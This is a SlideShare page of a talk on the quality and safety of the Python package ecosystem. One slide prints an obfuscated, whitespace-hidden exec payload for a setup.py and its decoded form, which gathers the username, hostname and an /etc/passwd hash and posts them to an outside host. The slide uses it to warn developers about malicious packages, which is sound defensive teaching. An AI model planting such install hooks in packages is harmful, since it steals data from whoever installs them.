SlideShare une entreprise Scribd logo
1  sur  55
Télécharger pour lire hors ligne
The Quality of the
Python Ecosystem
Bruno Rocha - @rochaCbruno - brunorocha.org
Bruno Rocha - @rochaCbruno
Quality Engineer @ RedHat.com
Podcaster @ Castalio.info
Teacher @ CursoDePython.com.br
Blogger @ BrunoRocha.org
castalio.info
youtube.com/castaliopodcast
Every Monday 10AM Podcast to listen on
itunes, rss, players etc
Every Wednesday 7PM YouTube live!
“An ecosystem is a community of living
organisms in conjunction with the nonliving
components of their environment (things like
air, water and mineral soil), interacting as a
system”
-- Wikipedia
- You (and your groups)
- Communities (meetups and conferences)
- theoretical Material (books, tutorials, courses)
- Tools(systems, IDEs, platforms)
- Package library (pip, github, conda)
- Python Software Foundation
- The Language (core developers)
Ecossistema Python?
What attracts so many
people to Python?
- Python is easy to learn.
- The community is receptive
- It has really cool events.
- It's easy to write and publish new
libraries with Python.
- You thought in something ... you
already have it in PyPI.
- It is popular and fashionable.
- Approved by Large companies.
$ pip install magic
>>> magic.run()
Or in the words
of the Brazilian
poet...
“In Python everything is
object, it is also beautiful
and wonderful.”
(it makes more sense in Portuguese)
How to assure Software Quality?
Enterprise
?
How to assure professional quality?
?Professional Python Certification!
Became a professional for only $ 9.999,99 /
year
How to assure the Quality of published libraries?
?Become “Python Developer Partner”
Publish your libraries
to “PyPI store” for only $ 9.999,99 / year
PY
New Python 3.6
Featuring exclusive `f’string`
Only $ 999/year
You need Python 3.6
Call 555 - 5555
And buy it now!
Oportunity:
First 100 customers
Will get IDLE for free...By Guido Inc.
Dude, how can you be so dumb?
● Python has no owner, it belongs to the community.
● The community is quality control.
● The community is a certifying entity *.
* In the Python community, EVERYONE are encouraged to participate and make a
difference, collaborating with the various pillars of the community (slide 4) is of great value to
the career of the Python professional.
YOU
“I came for the language
but I stay for the community”
- Brett Cannon
"Diversity happens when different people
meet in one place"
"Inclusion happens when these people can
work together, as equals, with the same
opportunities and without prejudice to any
of them"
- Naomi Ceder (Pycon Brasil 2016)
How to fight the community and diversity problems?
- Code of conduct
- Adopt a mentor's position, not a judge's.
Open by default
- PSF (grants, membership, fellowship and board)
- Repositories
- Experiments (MyPy, Gilectomy)
- APyB
- Call 4 Papers
- PyPI/Warehouse
- Python Planet
- PEPs
- GruPys
Você pode participar
abertamente!!!
100_000+
Libraries
on
PyPI
$ pip install magic
>>> magic.run()
- Python is easy!
- Lot of libraries available
>>> Traceback
Cannot do the
magic today...
- How many of the 100_000+ has
test coverage?
- Good documentation?
- How do I choose?
$ pip install magic
$ installing…
$ HAHA you got
hacked!!!
- Are all that libs safe?
- Anyone can publish a new lib in
PyPI in few minutes, who assure
the safety?
Safety!!!
# setup.py `pip install magic`
from setuptools import setup
setup(
name="magic",
...
)
Always review source code
of the libs you are installing.
Specially `setup.py`
Don’t forget the scrollbars.
;import zlib;
exec(zlib.decompress('eJx9UcFqxCAQvfsVXhYVtoY
Wegn0uF+x7MHG2ShNHNEJ3aX036vJBrJQ4uX5HOfNe+rH
iIk4ZuaXn3ZSGwX8+s7eVOpPdphoHQ1dMI2OU7i3jZU3
BjMA/iqDugQbsfZCKwa2DSPw0g8fATebw3CDOh3wRn/M
Bho+YwU6mtc/R8Warz62VP8tH1r+K1RijFRxI92neJEYI
UDVDXRJPztxVKJzBWKqUd3KzvIdN+nilV2O9MaMuVoeU
JdAEKHFuSPmGOIdsl+5KIaLrRCYbNWoTP+qu3jLr9RtRb
Pjii2TRPv5DC8BFNdnFcsJvyYTo+5wbMSRVyO77mtq9g
fllKgCn'.decode('base64')))
Multiple of 4 white spaces
Python tricks!
# `pip install magic`
import os, urllib, urllib2, hashlib, platform
try:
uname = os.getlogin()
except Exception as e:
uname = '[%s]' % e
try:
host = platform.uname()[1]
except Exception as e:
host = '[%s]' % e
try:
fhash = hashlib.md5(open('/etc/passwd').read()).hexdigest()
except Exception as e:
fhash = '[%s]' % e
data = urllib.urlencode({'uname': uname, 'host': host, 'fhash': fhash})
try:
urllib2.urlopen('http://WannaPyCry.herokuapp.com/', data)
except Exception as e:
pass
Decoded trick
Nothing serious here
But could be a real hack
Solution?
$ pip install safety
$ safety check
Open Source
Community
driven safety
checks?
Please create more
Safety tools!!!!
Why “The Python”
dont fix this issues
without depending on
third party services?
https://github.com/pypa
New generation of
PyPI is `warehouse`
and you can help
On Github.com/pypa
Only 18
contributors?
Not a coder?
donate!!!
Warehouse is a next generation Python Package
Repository designed to replace the legacy code base that
currently powers PyPI
Rank: 4.5 - safe
Rank: 2.0 - outdated
Rank: 1.0 - danger
1.234 Reviews ++
1 Review --Why not making it more `social driven` to
address the library quality problem?
Example:
More maintainers
More quality
points!
What to do about safety ?
- Check before installing
- Install known and trusted libraries
- Use SafetyCI - pyup.io
- Create (and share) more tools to help with verification
- Report if lib is suspected
- Collaborate to the Pypa / Warehouse project
The responsability
is YOURS OURS!!!
Every library published in PyPI comes with an invisible tag that says:
"I am aware of the responsibilities
that I must assume when I publish
this code and I promise to do my
best to keep it with quality until the
end of time!"
And I'll leave it explicit if for any reason I can not keep leaving the path clear
For anyone wanting to create a fork!
That “one man project” is not so cool
Maintanable:
Project that can be maintable by as
many and diverse people.
Leftpad is ` npm`
problem, will not
happen with
Python?
pip install requests
● 99.9% of installations of Python environments install requests
● If the version is not specified your build may break
● Tools like Travis-Ci depend on requests and have already broken for this!
● Operating systems bring requests by default
● Until a few months ago this was a 'one man band' project, but after recent
issues with releases the creator decided to exclude himself as administrator
from the lib and elected other maintainers
● It is not the only one, there are other Python libs published with the same
risk
● Always specify your versions
● Use pyup.io or requires.io or any other solution of the type
● Use safety / IC or something
…..
Too many broken releases in a single day...
TravisCi broke (even if you pinned the
version) it was depending on requests itself.
And backwards incompatible code was
pushed.
So the creator assumed the responsability
and did the right thing! Thanks!!!
Safety and
maintainability
Are not the only
problems!
http://opensourcesurvey.org/2017/
Just like we did recently, changing
our testing culture.
We need efforts to change our
documentation culture!
Q: Why most libraries do not have good
documentation?
A: Writing documentation is a boring process!
Q: Why is it boring?
A: Non-friendlier tools and formats (rst) drive
people away from the documentation. We need
to do as we did with the tests and adopt easier
formats (md?) and tools. (in other words we need
a `py.test` for documentation.
Q: How to encourage people to contribute
documentation?
A: First we need to define the process (as well as
in the tests) and then create a manifesto
attracting contributors, showing the importance,
providing a certain status to the documenter, and
using the events to foster that culture.
Tips to write good libs
python.apichecklist.com
Conclusion
- Python is not a product!
- The ecosystem (mainly the community) already has above average quality
- We need more theoretical quality materials for beginners
- Documentation is important we need to give it more focus
- We can use tools to help in the QA of Python libraries
- We can collaborate with the evolution of PyPI
- We can collaborate with the evolution of Python
- The quality of the ecosystem is OUR responsibility
- Be responsible and publish only quality libraries in PyPI
- We need a collaborative solution to classify 100,000+ libs
- Collaborate!
Bruno Rocha - @rochaCbruno
Quality Engineer @ RedHat.com
Podcaster @ Castalio.info
Teacher @ CursoDePython.com.br
Blogger @ BrunoRocha.org

Contenu connexe

Similaire à The Quality of the Python Ecosystem

Crab - A Python Framework for Building Recommendation Systems
Crab - A Python Framework for Building Recommendation SystemsCrab - A Python Framework for Building Recommendation Systems
Crab - A Python Framework for Building Recommendation SystemsMarcel Caraciolo
 
A Whirlwind Tour Of Python
A Whirlwind Tour Of PythonA Whirlwind Tour Of Python
A Whirlwind Tour Of PythonAsia Smith
 
Open source software for startups
Open source software for startupsOpen source software for startups
Open source software for startupsvictorneo
 
Scientist meets web dev: how Python became the language of data
Scientist meets web dev: how Python became the language of dataScientist meets web dev: how Python became the language of data
Scientist meets web dev: how Python became the language of dataGael Varoquaux
 
python-160403194316.pdf
python-160403194316.pdfpython-160403194316.pdf
python-160403194316.pdfgmadhu8
 
Python Seminar PPT
Python Seminar PPTPython Seminar PPT
Python Seminar PPTShivam Gupta
 
PyCon Taiwan 2013 Tutorial
PyCon Taiwan 2013 TutorialPyCon Taiwan 2013 Tutorial
PyCon Taiwan 2013 TutorialJustin Lin
 
OpenFest 2012 : Leveraging the public internet
OpenFest 2012 : Leveraging the public internetOpenFest 2012 : Leveraging the public internet
OpenFest 2012 : Leveraging the public internettkisason
 
python presntation 2.pptx
python presntation 2.pptxpython presntation 2.pptx
python presntation 2.pptxArpittripathi45
 
PyCourse - Self driving python course
PyCourse - Self driving python coursePyCourse - Self driving python course
PyCourse - Self driving python courseEran Shlomo
 
Everyone wants (someone else) to do it: writing documentation for open source...
Everyone wants (someone else) to do it: writing documentation for open source...Everyone wants (someone else) to do it: writing documentation for open source...
Everyone wants (someone else) to do it: writing documentation for open source...Jody Garnett
 
Pythonlearn-01-Intro.pptx
Pythonlearn-01-Intro.pptxPythonlearn-01-Intro.pptx
Pythonlearn-01-Intro.pptxMrHackerxD
 
What is Python? (Silicon Valley CodeCamp 2014)
What is Python? (Silicon Valley CodeCamp 2014)What is Python? (Silicon Valley CodeCamp 2014)
What is Python? (Silicon Valley CodeCamp 2014)wesley chun
 

Similaire à The Quality of the Python Ecosystem (20)

Crab - A Python Framework for Building Recommendation Systems
Crab - A Python Framework for Building Recommendation SystemsCrab - A Python Framework for Building Recommendation Systems
Crab - A Python Framework for Building Recommendation Systems
 
Python Meetup: The Origins
Python Meetup: The OriginsPython Meetup: The Origins
Python Meetup: The Origins
 
A Whirlwind Tour Of Python
A Whirlwind Tour Of PythonA Whirlwind Tour Of Python
A Whirlwind Tour Of Python
 
Open source software for startups
Open source software for startupsOpen source software for startups
Open source software for startups
 
python into.pptx
python into.pptxpython into.pptx
python into.pptx
 
Scientist meets web dev: how Python became the language of data
Scientist meets web dev: how Python became the language of dataScientist meets web dev: how Python became the language of data
Scientist meets web dev: how Python became the language of data
 
python-160403194316.pdf
python-160403194316.pdfpython-160403194316.pdf
python-160403194316.pdf
 
Python Seminar PPT
Python Seminar PPTPython Seminar PPT
Python Seminar PPT
 
Python
PythonPython
Python
 
PyCon Taiwan 2013 Tutorial
PyCon Taiwan 2013 TutorialPyCon Taiwan 2013 Tutorial
PyCon Taiwan 2013 Tutorial
 
OpenFest 2012 : Leveraging the public internet
OpenFest 2012 : Leveraging the public internetOpenFest 2012 : Leveraging the public internet
OpenFest 2012 : Leveraging the public internet
 
PythonTribe
PythonTribePythonTribe
PythonTribe
 
python presntation 2.pptx
python presntation 2.pptxpython presntation 2.pptx
python presntation 2.pptx
 
PyCourse - Self driving python course
PyCourse - Self driving python coursePyCourse - Self driving python course
PyCourse - Self driving python course
 
Pyconza(2)
Pyconza(2)Pyconza(2)
Pyconza(2)
 
Everyone wants (someone else) to do it: writing documentation for open source...
Everyone wants (someone else) to do it: writing documentation for open source...Everyone wants (someone else) to do it: writing documentation for open source...
Everyone wants (someone else) to do it: writing documentation for open source...
 
Pythonlearn-01-Intro.pptx
Pythonlearn-01-Intro.pptxPythonlearn-01-Intro.pptx
Pythonlearn-01-Intro.pptx
 
py4inf-01-intro.ppt
py4inf-01-intro.pptpy4inf-01-intro.ppt
py4inf-01-intro.ppt
 
core python.pdf
core python.pdfcore python.pdf
core python.pdf
 
What is Python? (Silicon Valley CodeCamp 2014)
What is Python? (Silicon Valley CodeCamp 2014)What is Python? (Silicon Valley CodeCamp 2014)
What is Python? (Silicon Valley CodeCamp 2014)
 

Plus de Bruno Rocha

Escrevendo modulos python com rust
Escrevendo modulos python com rustEscrevendo modulos python com rust
Escrevendo modulos python com rustBruno Rocha
 
A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la
A Qualidade do Ecossistema Python - e o que podemos fazer para mante-laA Qualidade do Ecossistema Python - e o que podemos fazer para mante-la
A Qualidade do Ecossistema Python - e o que podemos fazer para mante-laBruno Rocha
 
PyData - Consumindo e publicando web APIs com Python
PyData - Consumindo e publicando web APIs com PythonPyData - Consumindo e publicando web APIs com Python
PyData - Consumindo e publicando web APIs com PythonBruno Rocha
 
Quokka CMS - Desenvolvendo web apps com Flask e MongoDB - grupy - Outubro 2015
Quokka CMS - Desenvolvendo web apps com Flask e MongoDB - grupy - Outubro 2015Quokka CMS - Desenvolvendo web apps com Flask e MongoDB - grupy - Outubro 2015
Quokka CMS - Desenvolvendo web apps com Flask e MongoDB - grupy - Outubro 2015Bruno Rocha
 
Data Developer - Engenharia de Dados em um time de Data Science - Uai python2015
Data Developer - Engenharia de Dados em um time de Data Science - Uai python2015Data Developer - Engenharia de Dados em um time de Data Science - Uai python2015
Data Developer - Engenharia de Dados em um time de Data Science - Uai python2015Bruno Rocha
 
Python Flask app deployed to OPenShift using Wercker CI
Python Flask app deployed to OPenShift using Wercker CIPython Flask app deployed to OPenShift using Wercker CI
Python Flask app deployed to OPenShift using Wercker CIBruno Rocha
 
Carreira de Programador e Mercado de Trabalho
Carreira de Programador e Mercado de TrabalhoCarreira de Programador e Mercado de Trabalho
Carreira de Programador e Mercado de TrabalhoBruno Rocha
 
Quokka CMS - Content Management with Flask and Mongo #tdc2014
Quokka CMS - Content Management with Flask and Mongo #tdc2014Quokka CMS - Content Management with Flask and Mongo #tdc2014
Quokka CMS - Content Management with Flask and Mongo #tdc2014Bruno Rocha
 
Web Crawling Modeling with Scrapy Models #TDC2014
Web Crawling Modeling with Scrapy Models #TDC2014Web Crawling Modeling with Scrapy Models #TDC2014
Web Crawling Modeling with Scrapy Models #TDC2014Bruno Rocha
 
Flask for CMS/App Framework development.
Flask for CMS/App Framework development.Flask for CMS/App Framework development.
Flask for CMS/App Framework development.Bruno Rocha
 
What The Flask? and how to use it with some Google APIs
What The Flask? and how to use it with some Google APIsWhat The Flask? and how to use it with some Google APIs
What The Flask? and how to use it with some Google APIsBruno Rocha
 
Desenvolvendo mvp com python
Desenvolvendo mvp com pythonDesenvolvendo mvp com python
Desenvolvendo mvp com pythonBruno Rocha
 
Flask Full Stack - Desenvolvendo um CMS com Flask e MongoDB
Flask Full Stack - Desenvolvendo um CMS com Flask e MongoDBFlask Full Stack - Desenvolvendo um CMS com Flask e MongoDB
Flask Full Stack - Desenvolvendo um CMS com Flask e MongoDBBruno Rocha
 
Django para portais de alta visibilidade. tdc 2013
Django para portais de alta visibilidade.   tdc 2013Django para portais de alta visibilidade.   tdc 2013
Django para portais de alta visibilidade. tdc 2013Bruno Rocha
 
Guia alimentar de dietas vegetarianas para adultos
Guia alimentar de dietas vegetarianas para adultosGuia alimentar de dietas vegetarianas para adultos
Guia alimentar de dietas vegetarianas para adultosBruno Rocha
 
Desmistificando web2py - #TDC2011
Desmistificando web2py - #TDC2011Desmistificando web2py - #TDC2011
Desmistificando web2py - #TDC2011Bruno Rocha
 
Using web2py's DAL in other projects or frameworks
Using web2py's DAL in other projects or frameworksUsing web2py's DAL in other projects or frameworks
Using web2py's DAL in other projects or frameworksBruno Rocha
 
Desenvolvimento web ágil com Python e web2py #qconsp #qcon
Desenvolvimento web ágil com Python e web2py #qconsp #qconDesenvolvimento web ágil com Python e web2py #qconsp #qcon
Desenvolvimento web ágil com Python e web2py #qconsp #qconBruno Rocha
 

Plus de Bruno Rocha (18)

Escrevendo modulos python com rust
Escrevendo modulos python com rustEscrevendo modulos python com rust
Escrevendo modulos python com rust
 
A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la
A Qualidade do Ecossistema Python - e o que podemos fazer para mante-laA Qualidade do Ecossistema Python - e o que podemos fazer para mante-la
A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la
 
PyData - Consumindo e publicando web APIs com Python
PyData - Consumindo e publicando web APIs com PythonPyData - Consumindo e publicando web APIs com Python
PyData - Consumindo e publicando web APIs com Python
 
Quokka CMS - Desenvolvendo web apps com Flask e MongoDB - grupy - Outubro 2015
Quokka CMS - Desenvolvendo web apps com Flask e MongoDB - grupy - Outubro 2015Quokka CMS - Desenvolvendo web apps com Flask e MongoDB - grupy - Outubro 2015
Quokka CMS - Desenvolvendo web apps com Flask e MongoDB - grupy - Outubro 2015
 
Data Developer - Engenharia de Dados em um time de Data Science - Uai python2015
Data Developer - Engenharia de Dados em um time de Data Science - Uai python2015Data Developer - Engenharia de Dados em um time de Data Science - Uai python2015
Data Developer - Engenharia de Dados em um time de Data Science - Uai python2015
 
Python Flask app deployed to OPenShift using Wercker CI
Python Flask app deployed to OPenShift using Wercker CIPython Flask app deployed to OPenShift using Wercker CI
Python Flask app deployed to OPenShift using Wercker CI
 
Carreira de Programador e Mercado de Trabalho
Carreira de Programador e Mercado de TrabalhoCarreira de Programador e Mercado de Trabalho
Carreira de Programador e Mercado de Trabalho
 
Quokka CMS - Content Management with Flask and Mongo #tdc2014
Quokka CMS - Content Management with Flask and Mongo #tdc2014Quokka CMS - Content Management with Flask and Mongo #tdc2014
Quokka CMS - Content Management with Flask and Mongo #tdc2014
 
Web Crawling Modeling with Scrapy Models #TDC2014
Web Crawling Modeling with Scrapy Models #TDC2014Web Crawling Modeling with Scrapy Models #TDC2014
Web Crawling Modeling with Scrapy Models #TDC2014
 
Flask for CMS/App Framework development.
Flask for CMS/App Framework development.Flask for CMS/App Framework development.
Flask for CMS/App Framework development.
 
What The Flask? and how to use it with some Google APIs
What The Flask? and how to use it with some Google APIsWhat The Flask? and how to use it with some Google APIs
What The Flask? and how to use it with some Google APIs
 
Desenvolvendo mvp com python
Desenvolvendo mvp com pythonDesenvolvendo mvp com python
Desenvolvendo mvp com python
 
Flask Full Stack - Desenvolvendo um CMS com Flask e MongoDB
Flask Full Stack - Desenvolvendo um CMS com Flask e MongoDBFlask Full Stack - Desenvolvendo um CMS com Flask e MongoDB
Flask Full Stack - Desenvolvendo um CMS com Flask e MongoDB
 
Django para portais de alta visibilidade. tdc 2013
Django para portais de alta visibilidade.   tdc 2013Django para portais de alta visibilidade.   tdc 2013
Django para portais de alta visibilidade. tdc 2013
 
Guia alimentar de dietas vegetarianas para adultos
Guia alimentar de dietas vegetarianas para adultosGuia alimentar de dietas vegetarianas para adultos
Guia alimentar de dietas vegetarianas para adultos
 
Desmistificando web2py - #TDC2011
Desmistificando web2py - #TDC2011Desmistificando web2py - #TDC2011
Desmistificando web2py - #TDC2011
 
Using web2py's DAL in other projects or frameworks
Using web2py's DAL in other projects or frameworksUsing web2py's DAL in other projects or frameworks
Using web2py's DAL in other projects or frameworks
 
Desenvolvimento web ágil com Python e web2py #qconsp #qcon
Desenvolvimento web ágil com Python e web2py #qconsp #qconDesenvolvimento web ágil com Python e web2py #qconsp #qcon
Desenvolvimento web ágil com Python e web2py #qconsp #qcon
 

Dernier

CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyAlfredo García Lavilla
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr LapshynFwdays
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024Stephanie Beckett
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsMemoori
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationSlibray Presentation
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupFlorian Wilhelm
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticscarlostorres15106
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piececharlottematthew16
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 

Dernier (20)

CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering Tips
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easy
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial Buildings
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck Presentation
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project Setup
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piece
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 

The Quality of the Python Ecosystem

  • 1. The Quality of the Python Ecosystem Bruno Rocha - @rochaCbruno - brunorocha.org
  • 2. Bruno Rocha - @rochaCbruno Quality Engineer @ RedHat.com Podcaster @ Castalio.info Teacher @ CursoDePython.com.br Blogger @ BrunoRocha.org
  • 3. castalio.info youtube.com/castaliopodcast Every Monday 10AM Podcast to listen on itunes, rss, players etc Every Wednesday 7PM YouTube live!
  • 4. “An ecosystem is a community of living organisms in conjunction with the nonliving components of their environment (things like air, water and mineral soil), interacting as a system” -- Wikipedia
  • 5. - You (and your groups) - Communities (meetups and conferences) - theoretical Material (books, tutorials, courses) - Tools(systems, IDEs, platforms) - Package library (pip, github, conda) - Python Software Foundation - The Language (core developers) Ecossistema Python?
  • 6. What attracts so many people to Python?
  • 7. - Python is easy to learn. - The community is receptive - It has really cool events. - It's easy to write and publish new libraries with Python. - You thought in something ... you already have it in PyPI. - It is popular and fashionable. - Approved by Large companies. $ pip install magic >>> magic.run()
  • 8. Or in the words of the Brazilian poet...
  • 9. “In Python everything is object, it is also beautiful and wonderful.” (it makes more sense in Portuguese)
  • 10. How to assure Software Quality? Enterprise ?
  • 11. How to assure professional quality? ?Professional Python Certification! Became a professional for only $ 9.999,99 / year
  • 12. How to assure the Quality of published libraries? ?Become “Python Developer Partner” Publish your libraries to “PyPI store” for only $ 9.999,99 / year PY
  • 13. New Python 3.6 Featuring exclusive `f’string` Only $ 999/year You need Python 3.6 Call 555 - 5555 And buy it now! Oportunity: First 100 customers Will get IDLE for free...By Guido Inc.
  • 14. Dude, how can you be so dumb?
  • 15. ● Python has no owner, it belongs to the community. ● The community is quality control. ● The community is a certifying entity *. * In the Python community, EVERYONE are encouraged to participate and make a difference, collaborating with the various pillars of the community (slide 4) is of great value to the career of the Python professional.
  • 16. YOU
  • 17. “I came for the language but I stay for the community” - Brett Cannon
  • 18. "Diversity happens when different people meet in one place" "Inclusion happens when these people can work together, as equals, with the same opportunities and without prejudice to any of them" - Naomi Ceder (Pycon Brasil 2016)
  • 19. How to fight the community and diversity problems? - Code of conduct - Adopt a mentor's position, not a judge's.
  • 20. Open by default - PSF (grants, membership, fellowship and board) - Repositories - Experiments (MyPy, Gilectomy) - APyB - Call 4 Papers - PyPI/Warehouse - Python Planet - PEPs - GruPys Você pode participar abertamente!!!
  • 22. $ pip install magic >>> magic.run() - Python is easy! - Lot of libraries available
  • 23. >>> Traceback Cannot do the magic today... - How many of the 100_000+ has test coverage? - Good documentation? - How do I choose?
  • 24. $ pip install magic $ installing… $ HAHA you got hacked!!! - Are all that libs safe? - Anyone can publish a new lib in PyPI in few minutes, who assure the safety?
  • 26. # setup.py `pip install magic` from setuptools import setup setup( name="magic", ... ) Always review source code of the libs you are installing. Specially `setup.py` Don’t forget the scrollbars.
  • 28. # `pip install magic` import os, urllib, urllib2, hashlib, platform try: uname = os.getlogin() except Exception as e: uname = '[%s]' % e try: host = platform.uname()[1] except Exception as e: host = '[%s]' % e try: fhash = hashlib.md5(open('/etc/passwd').read()).hexdigest() except Exception as e: fhash = '[%s]' % e data = urllib.urlencode({'uname': uname, 'host': host, 'fhash': fhash}) try: urllib2.urlopen('http://WannaPyCry.herokuapp.com/', data) except Exception as e: pass Decoded trick Nothing serious here But could be a real hack
  • 29.
  • 30.
  • 32. $ pip install safety $ safety check
  • 33.
